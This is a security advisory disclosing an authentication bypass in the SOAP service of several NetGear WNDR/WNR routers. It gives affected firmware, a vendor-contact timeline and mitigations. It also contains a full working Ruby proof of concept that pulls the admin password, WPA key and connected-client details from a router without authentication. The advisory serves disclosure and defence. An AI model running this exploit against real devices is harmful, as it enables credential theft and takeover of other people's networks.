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NetGear WNDR Authentication Bypass / Information Disclosure

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>> NetGear WNDR Authentication Bypass / Information Disclosure

Reported by:
----
Peter Adkins <peter.adkins () kernelpicnic.net>

Access:
----
Local network; unauthenticated access.
Remote network; unauthenticated access*.

Tracking and identifiers:
----
CVE - Mitre contacted; not yet allocated.

Platforms / Firmware confirmed affected:
----
NetGear WNDR3700v4 - V1.0.0.4SH
NetGear WNDR3700v4 - V1.0.1.52
NetGear WNR2200 - V1.0.1.88
NetGear WNR2500 - V1.0.0.24

Additional platforms believed to be affected:
----
NetGear WNDR3800
NetGear WNDRMAC
NetGear WPN824N
NetGear WNDR4700

Vendor involvement:
----
2015-01-18 - Initial contact with NetGear regarding vulnerability.
2015-01-18 - NetGear advised to email support with concerns.
2015-01-18 - Email sent to NetGear (support).
2015-01-19 - Email sent to Mitre.
2015-01-20 - NetGear (support) advised that a ticket had been created.
2015-01-21 - NetGear (support) requested product verification.
2015-01-21 - Replied to NetGear with information requested.
2015-01-23 - NetGear (support) requested clarification of model.
2015-01-23 - Replied to NetGear with list of affected models.
2015-01-27 - NetGear (support) replied with router security features.
2015-01-27 - Replied to NetGear and reiterated vulnerability.
2015-01-29 - Email sent to NetGear (OpenSource) regarding issue.
2015-01-30 - Case auto-closure email received from NetGear (support).
2015-02-01 - Reply from Mitre requesting additional information.
2015-02-01 - Email to Mitre with additional information.
2015-02-11 - Vulnerability published to Bugtraq and GitHub.

Mitigation:
----
* Ensure remote / WAN management is disabled on the affected devices.
* Only allow trusted devices access to the local network.

Notes:
----
* These vulnerabilities can be leveraged "externally" over the internet,
but require devices to have remote / WAN management enabled.

* Due to the location of this issue (net-cgi) this vulnerability may be
present in other devices and firmware revisions not listed in this
document.

* In the absence of a known security contact these issues were reported
to NetGear support. The initial response from NetGear support was that
despite these issues "the network should still stay secure" due to a
number of built-in security features. Attempts to clarify the nature of
this vulnerability with support were unsuccessful. This ticket has since
been auto-closed while waiting for a follow up. A subsequent email sent
to the NetGear 'OpenSource' contact has also gone unanswered.

* If you have a NetGear device that is believed to be affected and can
confirm whether the PoC works successfully, please let me know and I
will update the copy of this document on GitHub (see below) and provide
credit for your findings.

----
"Genie" SOAP Service
----

A number of NetGear WNDR devices contain an embedded SOAP service that
is seemingly for use with the NetGear Genie application. This service
allows for viewing and setting of certain router parameters, such as:

* WLAN credentials and SSIDs.
* Connected clients.
* Guest WLAN credentials and SSIDs.
* Parental control settings.

At first glance, this service appears to be filtered and authenticated;
HTTP requests with a `SOAPAction` header set but without a session
identifier will yield a HTTP 401 error. However, a HTTP request with a
blank form and a `SOAPAction` header is sufficient to execute certain
requests and query information from the device.

As this SOAP service is implemented by the built-in HTTP / CGI daemon,
unauthenticated queries will also be answered over the internet if
remote management has been enabled on the device. As a result, affected
devices can be interrogated and hijacked with as little as a well placed
HTTP query.

The attached proof of concept uses this service in order to extract the
administrator password, device serial number, WLAN details, and various
details regarding clients currently connected to the device.

A copy of this document, as well as the proof of concept below and a
more detailed write-up has been made available via GitHub:

* https://github.com/darkarnium/secpub/tree/master/NetGear/SOAPWNDR

----
Ruby PoC
----

require 'optparse'
require 'nokogiri'
require 'restclient'

# Set defaults and parse command line arguments
options = {}

options[:addr] = "192.168.1.1"
options[:port] = 80
options[:ssl] = false

OptionParser.new do |option|

option.on("--address [ADDRESS]", "Destination hostname or IP") do |a|
options[:addr] = a
end

option.on("--port [PORT]", "Destination TCP port") do |p|
options[:port] = p
end

option.on("--[no-]ssl", "Destination uses SSL") do |s|
options[:ssl] = s
end

option.parse!

end

# Define which SOAPActions we will be using.
actions = [
{
:name => "Fetch password",
:call => "lan_config_security_get_info",
:soap => "LANConfigSecurity:1#GetInfo"
},
{
:name => "Fetch WLAN",
:call => "wlan_config_get_info",
:soap => "WLANConfiguration:1#GetInfo"
},
{
:name => "Fetch WPA Security Keys",
:call => "wlan_config_get_wpa_keys",
:soap => "WLANConfiguration:1#GetWPASecurityKeys"
},
{
:name => "Fetch hardware",
:call => "device_info_get_info",
:soap => "DeviceInfo:1#GetInfo"
},
{
:name => "Fetch hardware",
:call => "device_info_get_attached",
:soap => "DeviceInfo:1#GetAttachDevice"
}
#{
# :name => "Dump configuration",
# :call => "device_config_get_config_info",
# :soap => "DeviceConfig:1#GetConfigInfo"
#}
]

def device_info_get_info(xml)
puts "[*] Model Number: #{xml.xpath('//ModelName').text}"
puts "[*] Serial Number: #{xml.xpath('//SerialNumber').text}"
puts "[*] Firmware Version: #{xml.xpath('//Firmwareversion').text}"
end

def lan_config_security_get_info(xml)
puts "[*] Admin Password: #{xml.xpath("//NewPassword").text}"
end

def wlan_config_get_info(xml)
puts "[*] WLAN SSID: #{xml.xpath('//NewSSID').text}"
puts "[*] WLAN Enc: #{xml.xpath('//NewBasicEncryptionModes').text}"
end

def wlan_config_get_wpa_keys(xml)
puts "[*] WLAN WPA Key: #{xml.xpath('//NewWPAPassphrase').text} "
end

def device_config_get_config_info(xml)
puts "[*] Base64 Config: #{xml.xpath('//NewConfigFile').text} "
end

def device_info_get_attached(xml)

# Data is '@' delimited.
devices = xml.xpath('//NewAttachDevice').text.split("@")
devices.each_index do |i|

# First element is a device count.
if i == 0
next
end

# Split by ';' which pulls out the device IP, name and MAC.
detail = devices[i].split(";")
puts "[*] Attached: #{detail[2]} - #{detail[1]} (#{detail[3]})"

end

end

# Form endpoint based on protocol, no path is required.
if options[:ssl]
endpoint = "https://#{options[:addr]}:#{options[:port]}/"
else
endpoint = "http://#{options[:addr]}:#{options[:port]}/"
end

# Iterate over all actions and attempt to execute.
puts "[!] Attempting to extract information from #{endpoint}"

actions.each do |action|

# Build the target URL and setup the HTTP client object.
request = RestClient::Resource.new(
endpoint,
:verify_ssl => OpenSSL::SSL::VERIFY_NONE)

# Fire the request and ensure a 200 OKAY.
begin
response = request.post(
{ "" => "" },
{ "SOAPAction" => "urn:NETGEAR-ROUTER:service:#{action[:soap]}"})
rescue
puts "[!] Failed to query remote host."
abort
end

if response.code != 200
puts "[-] '#{action[:name]}' failed with response: #{response.code}"
next
end

# Parse XML document.
xml = Nokogiri::XML(response.body())

if xml.xpath('//ResponseCode').text == '401'
puts "[-] '#{action[:name]}' failed with a SOAP error (401)"
next
end

# Send to the processor.
send(action[:call], xml)

end

# FIN.

Source

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